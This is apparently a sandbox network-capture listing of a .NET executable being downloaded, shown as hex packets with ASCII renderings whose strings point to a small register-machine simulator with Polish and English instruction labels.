04 00 96 01 00 00 01 00 00 11 00 02 28 05 00 00 06 0b 12 01 28 15 00 00 0a 2d 23 02 28 07 00 00 06 0b 12 01 28 15 00 
00 0a 2d 13 02 28 09 00 00 06 0b 12 01 28 15 00 00 0a 39 93 00 00 00 72 01 
Data Ascii: @B$HD8/5tI{*"}*{*"}*{*"}*{*"}*{*"}*0((-#((-((9r
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2022-01-13 21:05:29 UTC 1637 IN Data Raw: 00 06 00 06 0d 2b 00 09 2a 66 00 02 7b 15 00 00 04 6f 22 00 00 0a 02 28 14 00 00 06 6f 2c 00 00 0a 26 2a 00 
13 30 02 00 33 00 00 00 08 00 00 11 00 02 7b 15 00 00 04 6f 2d 00 00 0a 15 fe 01 16 fe 01 0a 06 2c 1c 02 7b 15 00 00 04 
6f 22 00 00 0a 02 7b 15 00 00 04 6f 2d 00 00 0a 6f 2e 00 00 0a 00 2a 0a 00 2a 00 00 1b 30 03 00 43 00 00 00 09 00 00 11 
00 00 02 02 02 7b 26 00 00 04 6f 2a 00 00 0a 28 2f 00 00 0a 28 1a 00 00 06 7d 0f 00 00 04 00 de 21 26 00 72 cd 01 00 70 
28 30 00 00 0a 26 00 de 11 0a 00 06 6f 31 00 00 0a 28 30 00 00 0a 26 00 de 00 2a 00 01 1c 00 00 00 00 01 00 20 21 00 
10 21 00 00 01 00 00 01 00 20 31 00 11 20 00 00 01 13 30 01 00 0e 00 00 00 0a 00 00 11 00 03 73 2d 00 00 06 0a 06 0b 
2b 00 07 2a 00 00 1b 30 01 00 25 00 00 00 0b 00 00 11 00 00 2b 
Data Ascii: +*f{o"(o,&*03{o-,{o"{o-o.**0C{&o*(/(}!&rp(0&o1(0&* !! 1 0s-+*0%+

2022-01-13 21:05:29 UTC 1638 IN Data Raw: 00 00 04 6f 45 00 00 0a 00 02 7b 14 00 00 04 6f 3d 00 00 0a 6f 44 00 00 0a 02 7b 22 00 00 04 6f 45 00 00 0a 
00 02 7b 14 00 00 04 6f 3d 00 00 0a 6f 44 00 00 0a 02 7b 23 00 00 04 6f 45 00 00 0a 00 02 7b 14 00 00 04 6f 3d 00 00 0a 
6f 44 00 00 0a 02 7b 24 00 00 04 6f 45 00 00 0a 00 02 7b 14 00 00 04 6f 3d 00 00 0a 6f 44 00 00 0a 02 7b 25 00 00 04 6f 
45 00 00 0a 00 02 7b 14 00 00 04 6f 3d 00 00 0a 6f 44 00 00 0a 02 7b 1a 00 00 04 6f 45 00 00 0a 00 02 7b 14 00 00 04 6f 
3d 00 00 0a 6f 44 00 00 0a 02 7b 15 00 00 04 6f 45 00 00 0a 00 02 7b 14 00 00 04 6f 3f 00 00 0a 6f 44 00 00 0a 02 7b 28 
00 00 04 6f 45 00 00 0a 00 02 7b 14 00 00 04 6f 3f 00 00 0a 6f 44 00 00 0a 02 7b 16 00 00 04 6f 45 00 00 0a 00 02 7b 14 
00 00 04 6f 3f 00 00 0a 6f 44 00 00 0a 02 7b 17 00 00 04 
Data Ascii: oE{o=oD{"oE{o=oD{#oE{o=oD{$oE{o=oD{%oE{o=oD{oE{o=oD{oE{o?oD{(oE{o?oD{oE{o?oD{

2022-01-13 21:05:29 UTC 1640 IN Data Raw: 0a 00 02 7b 21 00 00 04 1f 0a 6f 4c 00 00 0a 00 02 7b 21 00 00 04 20 78 01 00 00 20 80 01 00 00 73 41 00 00 
0a 6f 42 00 00 0a 00 02 7b 21 00 00 04 72 67 03 00 70 6f 43 00 00 0a 00 02 7b 21 00 00 04 20 8a 00 00 00 1f 21 73 46 00 
00 0a 6f 47 00 00 0a 00 02 7b 21 00 00 04 1d 6f 49 00 00 0a 00 02 7b 21 00 00 04 72 73 03 00 70 6f 4b 00 00 0a 00 02 7b 
21 00 00 04 17 6f 4d 00 00 0a 00 02 7b 21 00 00 04 02 fe 06 17 00 00 06 73 4e 00 00 0a 6f 4f 00 00 0a 00 02 7b 22 00 00 
04 1f 0a 6f 4c 00 00 0a 00 02 7b 22 00 00 04 1f 52 20 cd 01 00 00 73 41 00 00 0a 6f 42 00 00 0a 00 02 7b 22 00 00 04 72 
91 03 00 70 6f 43 00 00 0a 00 02 7b 22 00 00 04 20 20 01 00 00 1f 14 73 46 00 00 0a 6f 47 00 00 0a 00 02 7b 22 00 00 04 
1c 6f 49 00 00 0a 00 02 7b 23 00 00 04 1f 0a 6f 4c 00 00 
Data Ascii: {!oL{! x sAoB{!rgpoC{! !sFoG{!oI{!rspoK{!oM{!sNoO{"oL{"R sAoB{"rpoC{"  sFoG{"oI{#oL

2022-01-13 21:05:29 UTC 1641 IN Data Raw: 00 70 18 8d 10 00 00 01 25 17 11 06 a2 14 14 28 58 00 00 0a 00 02 7b 18 00 00 04 17 6f 49 00 00 0a 00 02 7b 
18 00 00 04 72 cb 04 00 70 6f 4b 00 00 0a 00 02 7b 18 00 00 04 17 6f 4d 00 00 0a 00 02 7b 18 00 00 04 02 fe 06 1c 00 00 
06 73 4e 00 00 0a 6f 4f 00 00 0a 00 02 7b 19 00 00 04 1f 0f 6f 4c 00 00 0a 00 02 7b 19 00 00 04 17 6f 50 00 00 0a 00 02 
7b 19 00 00 04 1f 09 1f 0c 73 41 00 00 0a 6f 42 00 00 0a 00 02 7b 19 00 00 04 72 e7 04 00 70 6f 43 00 00 0a 00 02 7b 19 
00 00 04 20 a1 01 00 00 20 d8 01 00 00 73 46 00 00 0a 6f 47 00 00 0a 00 02 7b 19 00 00 04 16 6f 49 00 00 0a 00 02 7b 
28 00 00 04 1f 0a 6f 4c 00 00 0a 00 02 7b 28 00 00 04 1f 09 20 ea 01 00 00 73 41 00 00 0a 6f 42 00 00 0a 00 02 7b 28 00 
00 04 72 f9 04 00 70 6f 43 00 00 0a 00 02 7b 28 00 00 04 1f 
Data Ascii: p%(X{oI{rpoK{oM{sNoO{oL{oP{sAoB{rpoC{  sFoG{oI{(oL{( sAoB{(rpoC{(

2022-01-13 21:05:29 UTC 1642 IN Data Raw: 2e 00 00 06 00 73 56 00 00 06 13 04 08 6f 6e 00 00 0a 00 08 1b 6f 6d 00 00 0a 00 08 18 6f 6d 00 00 0a 00 11 
04 08 6f 2a 00 00 06 00 06 11 04 6f 2e 00 00 06 00 73 42 00 00 06 13 05 08 6f 6e 00 00 0a 00 08 16 6f 6d 00 00 0a 00 08 
19 6f 6d 00 00 0a 00 08 1b 6f 6d 00 00 0a 00 11 05 08 6f 2a 00 00 06 00 06 11 05 6f 2e 00 00 06 00 73 5a 00 00 06 13 06 
06 11 06 6f 2e 00 00 06 00 73 42 00 00 06 13 07 08 6f 6e 00 00 0a 00 08 19 6f 6d 00 00 0a 00 08 19 6f 6d 00 00 0a 00 08 
17 6f 6d 00 00 0a 00 11 07 08 6f 2a 00 00 06 00 06 11 07 6f 2e 00 00 06 00 73 5e 00 00 06 13 08 08 6f 6e 00 00 0a 00 08 
18 6f 6d 00 00 0a 00 08 18 6f 6d 00 00 0a 00 08 1a 6f 6d 00 00 0a 00 11 08 08 6f 2a 00 00 06 00 06 11 08 6f 2e 00 00 06 
00 73 56 00 00 06 13 09 08 6f 6e 00 00 0a 00 08 18 6f 6d 
Data Ascii: .sVonomomo*o.sBonomomomo*o.sZo.sBonomomomo*o.s^onomomomo*o.sVonom

2022-01-13 21:05:29 UTC 1644 IN Data Raw: 25 18 02 7b 2b 00 00 04 16 6f 77 00 00 0a 0a 12 00 28 18 00 00 0a a2 25 19 72 87 07 00 70 a2 25 1a 02 7b 2b 
00 00 04 17 6f 77 00 00 0a 0a 12 00 28 18 00 00 0a a2 25 1b 72 bf 06 00 70 a2 28 7a 00 00 0a 0b 2b 00 07 2a 00 00 00 
13 30 06 00 2c 00 00 00 1a 00 00 11 00 03 02 7b 2b 00 00 04 16 6f 77 00 00 0a 03 03 02 7b 2b 00 00 04 17 6f 77 00 00 
0a 94 94 9e 02 7b 2a 00 00 04 17 58 0a 2b 00 06 2a 13 30 03 00 44 00 00 00 08 00 00 11 00 03 6f 78 00 00 0a 18 fe 01 1
6 fe 01 0a 06 2c 0c 00 72 97 07 00 70 73 79 00 00 0a 7a 02 7b 2b 00 00 04 03 16 6f 77 00 00 0a 6f 6d 00 00 0a 00 02 7b 2
b 00 00 04 03 17 6f 77 00 00 0a 6f 6d 00 00 0a 00 2a 13 30 05 00 65 00 00 00 1b 00 00 11 00 1c 8d 31 00 00 01 25 16 02 
7c 2a 00 00 04 28 18 00 00 0a a2 25 17 72 99 06 00 70 a2 25 18 02 
Data Ascii: %{+ow(%rp%{+ow(%rp(z+*0,{+ow{+ow{*X+*0Dox,rpsyz{+owom{+owom*0e1%|*(%rp%

2022-01-13 21:05:29 UTC 1645 IN Data Raw: 00 00 01 00 00 00 4c 00 00 00 12 00 00 00 31 00 00 00 5e 00 00 00 3d 00 00 00 7a 00 00 00 08 00 00 00 2a 00 
00 00 1d 00 00 00 03 00 00 00 0a 00 00 00 10 00 00 00 05 00 00 00 01 00 00 00 05 00 00 00 03 00 00 00 00 00 7a 06 01 
00 00 00 00 00 06 00 a7 05 db 0b 06 00 14 06 db 0b 06 00 a7 04 5b 0b 0f 00 71 0c 00 00 06 00 03 05 c1 08 06 00 8a 05 
c1 08 06 00 6b 05 c1 08 06 00 fb 05 c1 08 06 00 c7 05 c1 08 06 00 e0 05 c1 08 06 00 1a 05 c1 08 06 00 ef 04 95 0b 06 00 
65 04 95 0b 06 00 4e 05 c1 08 06 00 35 05 cb 06 06 00 97 0d 4e 08 06 00 4a 04 db 0b 06 00 0b 04 5b 0b 06 00 bb 04 5b 0
b 06 00 12 00 4e 08 06 00 5f 08 4e 08 0a 00 5a 08 ea 0c 0e 00 ef 0a d3 07 06 00 a0 03 4e 08 0a 00 fa 0a ea 0c 0a 00 cc 0
e ea 0c 0a 00 43 0a ea 0c 0a 00 cd 07 ea 0c 0a 00 d4 0e ea 0c 0a 
Data Ascii: L1^=z*z[qkeN5NJ[[N_NZNC

2022-01-13 21:05:29 UTC 1646 IN Data Raw: 00 25 07 60 03 0e 00 68 25 00 00 00 00 81 00 7a 07 60 03 10 00 a7 25 00 00 00 00 81 00 98 07 60 03 12 00 
a7 25 00 00 00 00 81 00 8a 07 60 03 14 00 ac 25 00 00 00 00 81 00 62 07 60 03 16 00 18 26 00 00 00 00 81 00 15 03 71 
03 18 00 34 26 00 00 00 00 81 00 3c 07 60 03 19 00 78 26 00 00 00 00 81 00 a4 07 60 03 1b 00 b4 26 00 00 00 00 81 00 
76 0a 43 00 1d 00 a7 25 00 00 00 00 81 00 4e 07 60 03 1d 00 d8 26 00 00 00 00 81 00 3c 09 77 03 1f 00 18 28 00 00 00 
00 c4 00 f0 03 15 00 21 00 50 28 00 00 00 00 81 00 ee 0d 06 00 22 00 48 37 00 00 00 00 91 00 66 00 7f 03 22 00 64 37 00 
00 00 00 91 00 09 00 bc 01 24 00 7c 37 00 00 00 00 91 00 01 00 89 03 25 00 8d 37 00 00 00 00 86 18 4e 0b 06 00 26 00 
a8 37 00 00 00 00 c4 00 f0 03 15 00 26 00 e0 37 00 00 00 00 81 00 ee 0d 
Data Ascii: %`h%z`%`%`%b`&q4&<`x&`&vC%N`&<w(!P("H7f"d7$|7%7N&7&7

2022-01-13 21:05:29 UTC 1648 IN Data Raw: 4b 0d 00 00 01 00 66 03 00 00 01 00 4b 0d 00 00 01 00 66 03 00 00 01 00 4b 0d 09 00 4e 0b 01 00 11 00 4e 
0b 06 00 19 00 4e 0b 0a 00 29 00 4e 0b 10 00 31 00 4e 0b 10 00 39 00 4e 0b 10 00 41 00 4e 0b 10 00 49 00 4e 0b 10 00 
51 00 4e 0b 10 00 59 00 4e 0b 10 00 61 00 4e 0b 15 00 69 00 4e 0b 10 00 71 00 4e 0b 10 00 79 00 4e 0b 10 00 89 00 4e 
0b 06 00 99 00 4e 0b 1a 00 49 01 4e 0b 06 00 51 01 4e 0b 20 00 59 01 4e 0b 06 00 79 01 4e 0b 26 00 0c 00 53 06 43 00 
89 01 0d 0f 47 00 0c 00 32 06 4a 00 91 01 e5 06 4f 00 89 01 83 0d 53 00 89 01 05 0f 5b 00 89 01 7c 0d 60 00 99 01 4e 0b 
06 00 81 00 4e 0b 06 00 b1 00 4e 0b 06 00 f1 00 e0 0c 7a 00 a1 01 62 01 80 00 a9 01 a6 0e 01 00 d1 00 e0 0c 85 00 b1 
01 90 0a 06 00 f1 00 3d 08 8b 00 b9 01 9e 01 15 00 89 01 55 08 4f 00 91 
Data Ascii: KfKfKNNN)N1N9NANINQNYNaNiNqNyNNNINQN YNyN&SCG2JOS[|`NNNzb=UO

2022-01-13 21:05:29 UTC 1649 IN Data Raw: 02 4e 08 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 b9 02 0e 07 00 00 00 00 0a 00 00 00 00 00 00 00 
00 00 00 00 b9 02 37 01 00 00 00 00 00 00 00 00 01 00 00 00 53 0c 00 00 b8 00 00 00 01 00 00 00 0c 0c 00 00 98 d1 00 
00 01 00 00 00 28 0c 00 00 00 00 00 00 00 50 5f 30 30 30 30 30 00 50 5f 30 30 30 30 30 31 00 4e 75 6c 6c 61 62 6c 65 60 
31 00 4c 69 73 74 60 31 00 67 65 74 5f 41 72 67 31 00 73 65 74 5f 41 72 67 31 00 74 78 74 41 72 67 31 00 6c 61 62 65 6c 
31 00 67 65 74 5f 50 61 6e 65 6c 31 00 46 6f 72 6d 31 00 73 70 6c 69 74 43 6f 6e 74 61 69 6e 65 72 31 00 50 5f 30 30 30 
30 30 32 00 54 6f 57 69 6e 33 32 00 49 6e 74 33 32 00 43 6f 70 79 56 61 6c 75 65 32 00 67 65 74 5f 41 72 67 32 00 73 65 
74 5f 41 72 67 32 00 74 78 74 41 72 67 32 00 6c 61 62 65 6c 32 
Data Ascii: N7S(P_00000P_000001Nullable`1List`1get_Arg1set_Arg1txtArg1label1get_Panel1Form1splitContainer1P_00
0002ToWin32Int32CopyValue2get_Arg2set_Arg2txtArg2label2

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:29 UTC 1650 IN Data Raw: 00 41 73 73 65 6d 62 6c 79 54 69 74 6c 65 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 54 72 61 64 
65 6d 61 72 6b 41 74 74 72 69 62 75 74 65 00 54 61 72 67 65 74 46 72 61 6d 65 77 6f 72 6b 41 74 74 72 69 62 75 74 65 
00 41 73 73 65 6d 62 6c 79 46 69 6c 65 56 65 72 73 69 6f 6e 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 43 6f 
6e 66 69 67 75 72 61 74 69 6f 6e 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 44 65 73 63 72 69 70 74 69 6f 
6e 41 74 74 72 69 62 75 74 65 00 43 6f 6d 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f 6e 73 41 74 74 72 69 62 75 
74 65 00 41 73 73 65 6d 62 6c 79 50 72 6f 64 75 63 74 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 43 6f 70 79 
72 69 67 68 74 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 
Data Ascii: AssemblyTitleAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeAssemblyFileVersionAttribu
teAssemblyConfigurationAttributeAssemblyDescriptionAttributeCompilationRelaxationsAttributeAssemblyProductAttr
ibuteAssemblyCopyrightAttributeAssemb

2022-01-13 21:05:29 UTC 1652 IN Data Raw: 75 6c 74 75 72 65 49 6e 66 6f 00 70 6f 00 62 74 6e 55 70 00 42 69 74 6d 61 70 00 4d 61 6b 65 4f 6e 65 53 74 
65 70 00 62 74 6e 52 75 6e 53 74 65 70 00 62 74 6e 43 6c 65 61 72 00 73 65 6e 64 65 72 00 67 65 74 5f 52 65 73 6f 75 
72 63 65 4d 61 6e 61 67 65 72 00 43 6f 6d 70 6f 6e 65 6e 74 52 65 73 6f 75 72 63 65 4d 61 6e 61 67 65 72 00 45 76 65 6e 
74 48 61 6e 64 6c 65 72 00 53 79 73 74 65 6d 2e 43 6f 64 65 44 6f 6d 2e 43 6f 6d 70 69 6c 65 72 00 49 43 6f 6e 74 61 69 
6e 65 72 00 53 70 6c 69 74 43 6f 6e 74 61 69 6e 65 72 00 73 65 74 5f 41 6e 63 68 6f 72 00 73 65 74 5f 55 73 65 56 69 73 
75 61 6c 53 74 79 6c 65 42 61 63 6b 43 6f 6c 6f 72 00 43 6f 6c 6f 72 54 72 61 6e 73 6c 61 74 6f 72 00 47 65 74 45 6e 75 
6d 65 72 61 74 6f 72 00 2e 63 74 6f 72 00 2e 63 63 74 6f 72 
Data Ascii: ultureInfopobtnUpBitmapMakeOneStepbtnRunStepbtnClearsenderget_ResourceManagerComponentRe
sourceManagerEventHandlerSystem.CodeDom.CompilerIContainerSplitContainerset_Anchorset_UseVisualStyle
BackColorColorTranslatorGetEnumerator.ctor.cctor

2022-01-13 21:05:29 UTC 1653 IN Data Raw: 6d 00 69 00 6a 00 3a 00 20 00 4d 00 69 00 20 00 3c 00 2d 00 2d 00 20 00 4d 00 6a 00 20 00 2d 00 20 00 4d 00 
6b 00 20 00 01 39 50 00 6f 00 64 00 7a 00 69 00 65 00 6c 00 3a 00 20 00 4d 00 69 00 20 00 3c 00 2d 00 2d 00 20 00 66 
00 6c 00 6f 00 6f 00 72 00 28 00 4d 00 69 00 2f 00 32 00 29 00 20 00 01 43 4b 00 6f 00 70 00 69 00 75 00 6a 00 20 00 77 
00 61 00 72 00 74 00 6f 00 5b 01 07 01 3a 00 20 00 4d 00 5b 00 69 00 5d 00 20 00 3c 00 2d 00 2d 00 20 00 4d 00 5b 00 
4d 00 5b 00 6a 00 5d 00 5d 00 20 00 01 47 4b 00 6f 00 70 00 69 00 75 00 6a 00 20 00 77 00 61 00 72 00 74 00 6f 00 5b 0
1 07 01 20 00 32 00 3a 00 20 00 4d 00 5b 00 4d 00 5b 00 69 00 5d 00 5d 00 20 00 3c 00 2d 00 2d 00 20 00 4d 00 5b 00 
6a 00 5d 00 20 00 01 33 49 00 64 00 7a 01 20 00 64 00 6f 00 3a 00 20 
Data Ascii: mij: Mi <-- Mj - Mk 9Podziel: Mi <-- floor(Mi/2) CKopiuj warto[: M[i] <-- M[M[j]] GKopiuj warto[ 2: M[M[i]] <-- M[j] 3
Idz do: 

2022-01-13 21:05:29 UTC 1654 IN Data Raw: 00 6e 00 65 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 
00 75 00 72 00 63 00 65 00 73 00 00 07 44 00 44 00 53 00 00 1f 53 00 74 00 72 00 6f 00 6e 00 67 00 4e 00 61 00 6d 00 
65 00 48 00 65 00 6c 00 70 00 65 00 00 47 41 00 64 00 64 00 20 00 74 00 61 00 6b 00 65 00 73 00 20 00 65 00 78 00 61 
00 63 00 74 00 6c 00 79 00 20 00 74 00 68 00 72 00 65 00 65 00 20 00 70 00 61 00 72 00 61 00 6d 00 65 00 74 00 65 00 
72 00 73 00 21 00 00 09 2e 00 20 00 4d 00 5b 00 00 0d 5d 00 20 00 3d 00 20 00 4d 00 5b 00 00 0d 5d 00 20 00 2b 00 20 
00 4d 00 5b 00 00 03 5d 00 00 55 41 00 73 00 73 00 69 00 67 00 6e 00 20 00 56 00 61 00 6c 00 75 00 65 00 20 00 74 00 
61 00 6b 00 65 00 73 00 20 00 65 00 78 00 61 00 63 00 74 00 6c 00 79 00 
Data Ascii: ne.Properties.ResourcesDDSStrongNameHelpeGAdd takes exactly three parameters!. M[] = M[] + M[]UAssign 
Value takes exactly

2022-01-13 21:05:29 UTC 1656 IN Data Raw: 1d 0e 1d 02 05 20 02 01 0c 0c 06 20 01 01 11 81 15 06 20 01 01 11 81 1d 05 07 01 12 80 99 07 00 01 12 80 99 
1d 05 05 20 00 1d 12 61 05 07 01 12 80 9d 05 20 01 01 12 61 04 20 01 1c 0e 06 20 01 01 12 81 21 06 15 12 80 89 01 08 
07 15 12 80 89 01 12 18 05 07 03 02 08 02 04 07 01 1d 08 04 07 02 02 02 0e 07 05 0e 15 11 80 a1 01 12 18 12 18 02 0e 
09 20 00 15 11 80 a1 01 13 00 07 15 11 80 a1 01 12 18 06 00 03 0e 0e 0e 0e 1e 07 0c 12 1c 12 18 15 12 80 89 01 08 12 
18 12 18 12 18 12 18 12 18 12 18 12 18 1d 08 12 1c 03 00 00 01 04 00 01 01 02 05 00 01 01 12 59 09 07 03 02 12 80 b1 
12 80 b1 05 20 00 12 80 99 07 20 02 01 0e 12 80 99 05 07 01 12 80 b5 06 07 02 1c 12 80 8d 07 20 02 1c 0e 12 80 b5 04 
07 01 12 28 08 00 01 12 81 2d 12 81 2d 03 07 01 08 05 20 01 13 00 08 04 
Data Ascii:     a a  ! Y   (-- 

2022-01-13 21:05:29 UTC 1657 IN Data Raw: 6d 2e 44 72 61 77 69 6e 67 2e 49 63 6f 6e 2c 20 53 79 73 74 65 6d 2e 44 72 61 77 69 6e 67 2c 20 56 65 72 73 
69 6f 6e 3d 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 75 62 6c 69 63 4b 65 79 
54 6f 6b 65 6e 3d 62 30 33 66 35 66 37 66 31 31 64 35 30 61 33 61 42 6a 9b 9a 00 00 00 00 35 01 00 00 14 24 00 74 00 
68 00 69 00 73 00 2e 00 49 00 63 00 6f 00 6e 00 00 00 00 00 40 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 00 0c 02 00 
00 00 51 53 79 73 74 65 6d 2e 44 72 61 77 69 6e 67 2c 20 56 65 72 73 69 6f 6e 3d 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 
74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 62 30 33 66 35 66 37 66 31 31 6
4 35 30 61 33 61 05 01 00 00 00 13 53 79 73 74 65 6d 2e 44 72 61 
Data Ascii: m.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aB
j5$this.Icon@QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSystem.Dra

2022-01-13 21:05:29 UTC 1658 IN Data Raw: 27 3e c9 55 ef f5 c6 f4 66 5b fa 2a 8a c0 f9 75 02 7e dd 28 48 06 8e 84 04 60 40 ff 93 4f b5 82 e1 38 cb 84 1e 
28 08 55 6e a2 70 5e bd 45 b0 04 ea 04 fc f3 44 41 32 70 0c 24 00 8e 23 9f f8 94 d6 bd 67 38 c6 32 87 ec 00 dd e0 97 ee 
f6 9b 95 83 d1 fc 65 5d 27 00 f7 99 8b 82 64 60 2b ae 17 c0 d1 4f 1e 4b 77 ef d9 b1 74 8b 0f d3 c1 2f 1b 72 83 c7 29 9a a7 
b7 6e f9 f9 4c 65 48 49 12 64 29 85 de cd 9b 91 48 24 90 48 cc 41 96 a4 a5 52 27 e0 27 a3 20 19 d4 1d 57 0a 60 e0 53 c7 
f3 bb f7 d9 4c 56 12 7c 33 eb 2c 76 5e 6e be ca 18 24 29 05 39 25 41 92 52 d9 7b 77 ef d9 93 7d 6f 92 a9 14 66 67 67 91 
48 24 20 49 b2 c1 ab 60 42 04 f5 ad 13 f0 44 41 32 a8 0b ae 11 c0 13 4f ff 7a 6b 3a ec 06 dd 7b 9d 60 5b 9d ce 9f ad b3 4c
6e 9e 15 11 b0 6c e8 53 5a e8 75 82 bb 7a d5 4a 
Data Ascii: '>Uf[*u~(H`@O8(Unp^EDA2p$#g82e]'d`+OKwt/r)nLeHId)H$HAR'' W`SLV|3,v^n$)9%AR{w}ofggH$ I`BDA2Ozk:
{`[LnlSZuzJ

2022-01-13 21:05:29 UTC 1660 IN Data Raw: cc 3e 3e 0c fe 0a 40 6c 6c 14 6f bf 3e 88 d7 7f 7e 1a 63 23 77 73 67 20 7a bc da 42 d0 64 30 63 e2 bb 09 0e ab 
13 f0 44 b1 4c 65 50 57 01 7c f9 b7 7f 87 c9 e9 c3 49 fc f3 32 dd d0 57 2a 05 73 b7 8d 02 9f 6d e9 93 49 24 d3 ad 7d 76 3b
33 4d 3e 63 60 4c 05 53 55 a8 aa f6 57 91 25 a8 e9 90 ab d9 fb 59 36 fc 8c a9 08 04 02 78 e8 a3 1f c5 e3 8f 3f 8e fe fe 7e 
c3 d0 5f 8a 02 f3 25 42 6f a5 45 2f 25 88 80 0f 38 b4 45 40 b8 11 98 4a e6 82 5d 2e f4 42 66 39 e4 ff 8b 8d 8d 62 e8 f5 41 
bc 72 fe 34 c6 46 b5 02 62 20 18 84 d7 eb 4d 2f 61 46 06 8e ac 13 f0 44 b1 8c 64 50 57 01 fc d9 73 7f c9 a2 c3 c3 b8 3f 33 
63 10 f0 72 a1 af dd 90 80 a9 2a 92 c9 74 f7 9e 6f e9 0b f6 99 31 55 13 45 3a d4 5a ab cf 09 81 31 30 55 d5 ee 57 55 f8 fd 
7e ec de fd 20 fa fb fb f1 e4 c7 3f 8e 
Data Ascii: >>@llo>~c#wsg zBd0cDLePW|I2W*smI$}v;3M>c`LSUW%Y6x?~_%BoE/%8E@J].Bf9bAr4Fb M/aFDdPWs?
3cr*to1UE:Z10UWU~ ?

2022-01-13 21:05:29 UTC 1661 IN Data Raw: 80 b1 64 7e e8 a5 d4 02 ee 8d de c6 bd 91 28 ee 8e de c6 84 85 ae bc a2 ca 90 55 09 2a 53 21 a9 da f9 0e 49 
79 1e 73 73 da 61 da c2 ee 3b 63 0c 72 4a 32 ec d6 03 80 9c 04 14 89 41 96 80 d4 1c 83 e0 6d 44 f3 8a cd 68 eb ec 45 f7 
ea 6e 34 37 06 e1 11 05 4c c7 17 30 3b 9f 82 47 14 e1 f1 08 08 f9 7d f0 fb 3c 58 d1 1c 82 cf ab 1d 81 99 8e 6b 85 5a 51 14 
e0 11 45 24 13 d3 98 fc e0 3a c6 6e 5f 81 3c 77 1f a1 70 43 49 19 a4 a4 e2 9e 88 2e f6 d7 09 78 a2 a8 a3 0c ea 26 80 e1 
3b 1f f4 fc bb 3f f9 c6 ed 8a 56 36 40 4f 06 13 fc 30 01 a8 7a 9d 40 bf 66 90 9e 5f aa 80 98 77 24 a1 e0 44 a2 f4 fd 9b 7b 
7b d1 d7 f7 31 ec d7 91 c1 ad 09 20 d2 08 dc 49 00 f7 67 a7 11 7d ff 2a ae dd b8 64 39 f0 f3 52 1c f3 72 02 f3 0b b3 60 2a 
83 22 cb da 89 00 00 e4 94 a4 db 7d 37 82 a9 80 
Data Ascii: d~(U*S!Iyssa;crJ2AmDhEn47L0;G}<XkZQE$:n_<wpCI.x&;?V6@O0z@f_w$D{{1 Ig}*d9Rr`*"}7

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:29 UTC 1662 IN Data Raw: 29 19 64 33 2d be f9 80 5b c9 50 5b 24 82 de 4d 1b b1 b2 ab 74 e8 79 5c 25 00 1e a7 c8 60 22 36 09 59 d6 fa 
ce 55 a9 13 e8 f4 08 32 1f 57 a3 9a 01 0a 86 0a 45 22 c8 f6 0e 72 47 12 fc 3e 9f 56 40 ec eb 2b 21 83 57 f1 ea 8d 24 fc 8d 
dd 08 34 b4 23 ff 6c 68 ee 6d 2b f8 3e 40 de b8 9f 2b e0 69 c1 d7 64 d0 d5 d6 80 47 b7 ae c2 c1 07 bb b1 be ab 38 f4 27 
4f 9e c4 8f 7f fc 63 0c 0f 0f 9b 7b 73 a0 85 3e d4 d0 a4 05 3f 1b fa 52 81 ae f4 be dc 32 8b ad 13 54 12 7a 1e d7 0a 80 c7 
39 32 88 15 9f 81 c8 df 5e 4c 9d 40 a7 66 90 79 bd 0d 0b 88 5c c1 50 ff 54 64 ad 88 e8 f3 79 b1 73 fb 76 5d 19 c4 e7 25 0c 
be 73 0f 83 57 ee 62 f0 ca bd ec 7c b3 32 e0 8b 7a ab da 1a f1 d8 8e 55 e8 df bd 0e 3d 2b 5b b2 ab a4 52 29 5c b9 72 05 
27 4f 9e c4 8b 2f be 68 31 f4 b9 31 bd 16 7a a3 
Data Ascii: )d3-[P[$Mty\%`"6YU2WE"rG>V@+!W$4#lhm+>@+idG8'Oc{s>?R2Tz92^L@fy\PTdysv]%sWb|2zU=+[R)\r'O/
h11z

2022-01-13 21:05:29 UTC 1664 IN Data Raw: d2 43 d0 99 6e 69 6e c1 fa 75 dd ae 09 3d 0f 09 60 89 e1 08 19 4c c4 30 3e 31 6e 58 33 58 5c b7 7f 11 43 85 
ec 7d 79 37 74 a7 5b 9a 9b b1 be 5b 0b fd 44 2c e6 aa d0 f3 90 00 96 30 ce 90 41 3d 6a 06 d5 e9 05 34 37 37 63 7d f7 5a 
ac 68 73 77 e8 79 5c 2f 80 78 3c 8e 9b 37 6f 61 f7 ee 07 ab f1 70 b6 e1 28 19 54 b5 66 b0 b8 3a 41 4b 53 33 ba bb d7 62 
45 5b 1b 26 26 28 f4 85 b8 5e 00 7f f4 c7 7f 8c 97 5f 1e 44 63 63 23 fa fa f6 61 ff be 3e f4 f5 ed ab c6 43 db 86 53 64 30 96 
ae 19 d4 bb 4e d0 dc dc 84 ee 35 6b d1 d6 16 a1 d0 97 c1 f5 02 f8 83 af ff eb a2 8b 46 76 74 76 62 7f 5f 1f 1e 7d e4 11 3c 
f6 e8 23 d5 78 1a db 70 8e 0c c6 2d 9e 8e 6c ad 4e d0 dc d4 8c b5 6b 56 a3 2d 42 a1 b7 02 09 40 47 00 e1 86 46 f8 7c 3e 
00 40 43 43 03 1e 7b f4 11 92 41 85 14 c9 60 7c 
